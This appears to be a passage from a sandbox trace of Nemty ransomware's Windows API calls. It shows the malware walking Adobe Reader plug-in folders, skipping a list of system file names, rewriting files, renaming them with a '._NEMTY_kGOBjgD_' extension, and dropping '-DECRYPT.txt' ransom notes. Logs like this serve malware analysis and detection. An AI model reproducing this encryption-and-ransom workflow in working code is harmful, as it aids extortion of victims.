[0187.074] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0187.074] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\AcroSign.prc" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\acrosign.prc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0187.074] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=8574) returned 1 [0187.074] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x2170) returned 0x6352c48 [0187.074] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0187.074] ReadFile (in: hFile=0x254, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x2170, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653eb64*=0x2170, lpOverlapped=0x0) returned 1 [0187.076] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0187.076] WriteFile (in: hFile=0x254, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x2170, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653eb5c*=0x2170, lpOverlapped=0x0) returned 1 [0187.077] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0187.077] SetFilePointer (in: hFile=0x254, lDistanceToMove=8574, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x217e [0187.077] WriteFile (in: hFile=0x254, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653eb5c*=0x167, lpOverlapped=0x0) returned 1 [0187.077] CloseHandle (hObject=0x254) returned 1 [0187.077] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0187.077] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0187.077] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0187.077] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0187.077] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0187.077] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0187.077] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346fc0 [0187.077] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0187.077] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346fc0 | out: hHeap=0x4f90000) returned 1 [0187.077] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0187.077] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\AcroSign.prc" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\acrosign.prc"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\AcroSign.prc._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\acrosign.prc._nemty_kgobjgd_")) returned 1 [0187.079] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0187.079] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0187.079] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0187.079] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0187.079] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0187.079] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0187.079] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0187.079] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0187.079] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f804400, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7f804400, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7f804400, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="Annotations", cAlternateFileName="ANNOTA~1")) returned 1 [0187.079] lstrcmpiW (lpString1="Annotations", lpString2=".") returned 1 [0187.079] lstrcmpiW (lpString1="Annotations", lpString2="..") returned 1 [0187.079] lstrcmpiW (lpString1="Annotations", lpString2="...") returned 1 [0187.079] lstrcmpiW (lpString1="Annotations", lpString2="windows") returned -1 [0187.079] lstrcmpiW (lpString1="Annotations", lpString2="$RECYCLE.BIN") returned 1 [0187.079] lstrcmpiW (lpString1="Annotations", lpString2="rsa") returned -1 [0187.079] lstrcmpiW (lpString1="Annotations", lpString2="NTDETECT.COM") returned -1 [0187.079] lstrcmpiW (lpString1="Annotations", lpString2="ntldr") returned -1 [0187.079] lstrcmpiW (lpString1="Annotations", lpString2="MSDOS.SYS") returned -1 [0187.079] lstrcmpiW (lpString1="Annotations", lpString2="IO.SYS") returned -1 [0187.079] lstrcmpiW (lpString1="Annotations", lpString2="boot.ini") returned -1 [0187.079] lstrcmpiW (lpString1="Annotations", lpString2="boot.ini") returned -1 [0187.079] lstrcmpiW (lpString1="Annotations", lpString2="AUTOEXEC.BAT") returned -1 [0187.079] lstrcmpiW (lpString1="Annotations", lpString2="ntuser.dat") returned -1 [0187.079] lstrcmpiW (lpString1="Annotations", lpString2="desktop.ini") returned -1 [0187.079] lstrcmpiW (lpString1="Annotations", lpString2="CONFIG.SYS") returned -1 [0187.079] lstrcmpiW (lpString1="Annotations", lpString2="RECYCLER") returned -1 [0187.079] lstrcmpiW (lpString1="Annotations", lpString2="BOOTSECT.BAK") returned -1 [0187.079] lstrcmpiW (lpString1="Annotations", lpString2="bootmgr") returned -1 [0187.079] lstrcmpiW (lpString1="Annotations", lpString2="programdata") returned -1 [0187.079] lstrcmpiW (lpString1="Annotations", lpString2="appdata") returned -1 [0187.079] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0187.079] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Annotations", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0187.080] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Annotations", cchWideChar=11, lpMultiByteStr=0x653ebd0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Annotations", lpUsedDefaultChar=0x0) returned 11 [0187.080] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0187.080] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Annotations", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0187.080] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Annotations", cchWideChar=11, lpMultiByteStr=0x653ebd0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Annotations", lpUsedDefaultChar=0x0) returned 11 [0187.080] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0187.080] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0187.080] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0187.080] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0187.080] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0187.080] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0187.080] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0187.080] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0187.080] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0187.080] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0187.080] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0187.080] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94310 [0187.080] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0187.080] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6340048 [0187.080] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0187.080] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0187.081] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0187.081] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0187.081] WriteFile (in: hFile=0x254, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653eb80, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653eb80*=0xef8, lpOverlapped=0x0) returned 1 [0187.082] CloseHandle (hObject=0x254) returned 1 [0187.082] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0187.082] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0187.082] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0187.082] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0187.082] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346fc0 [0187.082] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0187.082] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0187.082] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0187.082] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0187.082] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0187.082] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0187.082] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94310 [0187.082] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0187.082] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6340048 [0187.082] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0187.082] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0187.083] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0187.083] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0187.083] WriteFile (in: hFile=0x254, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653e840, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e840*=0xef8, lpOverlapped=0x0) returned 1 [0187.084] CloseHandle (hObject=0x254) returned 1 [0187.084] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0187.084] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346fc0 | out: hHeap=0x4f90000) returned 1 [0187.084] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0187.084] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\*.*", lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f804400, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x2326adb0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x2326adb0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3423ab0 [0187.084] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0187.084] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f804400, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x2326adb0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x2326adb0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0187.084] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0187.084] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0187.084] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f804400, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81eb2980, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81eb2980, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Stamps", cAlternateFileName="")) returned 1 [0187.084] lstrcmpiW (lpString1="Stamps", lpString2=".") returned 1 [0187.084] lstrcmpiW (lpString1="Stamps", lpString2="..") returned 1 [0187.084] lstrcmpiW (lpString1="Stamps", lpString2="...") returned 1 [0187.084] lstrcmpiW (lpString1="Stamps", lpString2="windows") returned -1 [0187.084] lstrcmpiW (lpString1="Stamps", lpString2="$RECYCLE.BIN") returned 1 [0187.084] lstrcmpiW (lpString1="Stamps", lpString2="rsa") returned 1 [0187.084] lstrcmpiW (lpString1="Stamps", lpString2="NTDETECT.COM") returned 1 [0187.084] lstrcmpiW (lpString1="Stamps", lpString2="ntldr") returned 1 [0187.085] lstrcmpiW (lpString1="Stamps", lpString2="MSDOS.SYS") returned 1 [0187.085] lstrcmpiW (lpString1="Stamps", lpString2="IO.SYS") returned 1 [0187.085] lstrcmpiW (lpString1="Stamps", lpString2="boot.ini") returned 1 [0187.085] lstrcmpiW (lpString1="Stamps", lpString2="boot.ini") returned 1 [0187.085] lstrcmpiW (lpString1="Stamps", lpString2="AUTOEXEC.BAT") returned 1 [0187.085] lstrcmpiW (lpString1="Stamps", lpString2="ntuser.dat") returned 1 [0187.085] lstrcmpiW (lpString1="Stamps", lpString2="desktop.ini") returned 1 [0187.085] lstrcmpiW (lpString1="Stamps", lpString2="CONFIG.SYS") returned 1 [0187.085] lstrcmpiW (lpString1="Stamps", lpString2="RECYCLER") returned 1 [0187.085] lstrcmpiW (lpString1="Stamps", lpString2="BOOTSECT.BAK") returned 1 [0187.085] lstrcmpiW (lpString1="Stamps", lpString2="bootmgr") returned 1 [0187.085] lstrcmpiW (lpString1="Stamps", lpString2="programdata") returned 1 [0187.085] lstrcmpiW (lpString1="Stamps", lpString2="appdata") returned 1 [0187.085] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Stamps", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0187.085] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Stamps", cchWideChar=6, lpMultiByteStr=0x653e890, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Stamps", lpUsedDefaultChar=0x0) returned 6 [0187.085] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Stamps", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0187.085] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Stamps", cchWideChar=6, lpMultiByteStr=0x653e890, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Stamps", lpUsedDefaultChar=0x0) returned 6 [0187.085] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0187.085] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0187.085] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0187.085] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0187.085] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0187.085] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0187.085] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0187.085] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0187.085] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0187.085] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63400f0 [0187.085] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0187.085] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x63401b8 [0187.085] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0187.085] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0187.087] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0187.087] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0187.087] WriteFile (in: hFile=0x2e8, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653e840, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e840*=0xef8, lpOverlapped=0x0) returned 1 [0187.088] CloseHandle (hObject=0x2e8) returned 1 [0187.089] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0187.089] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0187.089] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0187.089] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63400f0 [0187.089] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340198 [0187.089] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0187.089] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0187.089] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0187.089] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0187.089] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0187.089] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0187.089] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340240 [0187.089] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0187.089] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x6340308 [0187.089] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340240 | out: hHeap=0x4f90000) returned 1 [0187.089] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0187.090] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0187.090] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0187.090] WriteFile (in: hFile=0x2e8, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653e500, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e500*=0xef8, lpOverlapped=0x0) returned 1 [0187.090] CloseHandle (hObject=0x2e8) returned 1 [0187.091] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0187.091] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0187.091] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340198 [0187.091] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\*.*", lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f804400, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x2326adb0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x2326adb0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName=".", cAlternateFileName="")) returned 0x3423af0 [0187.091] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0187.091] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f804400, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x2326adb0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x2326adb0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="..", cAlternateFileName="")) returned 1 [0187.091] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0187.091] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0187.091] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81eb2980, ftCreationTime.dwHighDateTime=0x1d2dda0, 